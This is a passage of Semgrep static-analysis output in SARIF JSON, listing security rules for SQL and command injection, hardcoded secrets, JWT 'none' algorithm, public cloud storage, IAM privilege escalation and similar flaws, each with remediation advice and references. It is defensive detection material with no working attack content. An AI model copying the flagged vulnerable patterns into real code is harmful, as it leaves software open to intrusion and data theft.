python.lang.compatibility.python37.python37-compatibility-textiowrapper"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli","id":"kotlin.spring.hibernate-sqli.hibernate-sqli","name":"kotlin.spring.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"help":{"markdown":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"help":{"markdown":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html)\n","text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket","id":"json.aws.security.public-s3-bucket.public-s3-bucket","name":"json.aws.security.public-s3-bucket.public-s3-bucket","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-bucket.public-s3-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write","id":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","name":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-command-write.dangerous-command-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"help":{"markdown":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality)\n - [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)\n - [https://www.whitehatsec.com/blog/magic-hashes/](https://www.whitehatsec.com/blog/magic-hashes/)\n","text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality","id":"php.lang.security.md5-loose-equality.md5-loose-equality","name":"php.lang.security.md5-loose-equality.md5-loose-equality","properties":{"precision":"very-high","tags":["CWE-697: Incorrect Comparison","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-loose-equality.md5-loose-equality"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli)\n - [https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries](https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli","id":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","name":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.sequel-sqli.sequel-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"bcrypt hash detected"},"help":{"markdown":"bcrypt hash detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"bcrypt hash detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","id":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","name":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"help":{"markdown":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n","text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","id":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","name":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy)\n - [https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html](https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html)\n - [https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","id":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","name":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","id":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","name":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This gets data from session using user inputs. A malicious user may be able to retrieve information from your session that you didn't intend them to. Do not use user input as a session key."},"help":{"markdown":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation)\n - [https://brakemanscanner.org/docs/warning_types/session_manipulation/](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n","text":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","id":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","name":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Allowing an attacker to manipulate the session may lead to unintended behavior."}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"help":{"markdown":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n","text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file","id":"ruby.rails.security.brakeman.check-send-file.check-send-file","name":"ruby.rails.security.brakeman.check-send-file.check-send-file","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-send-file.check-send-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","id":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","name":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","id":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","name":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","id":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","name":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"transferFrom() can steal allowance of other accounts"},"help":{"markdown":"transferFrom() can steal allowance of other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug)\n - [https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5](https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5)\n - [https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C](https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C)\n","text":"transferFrom() can steal allowance of other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","id":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","name":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","id":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","name":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","id":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","name":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec)\n - [https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec](https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","id":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","name":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 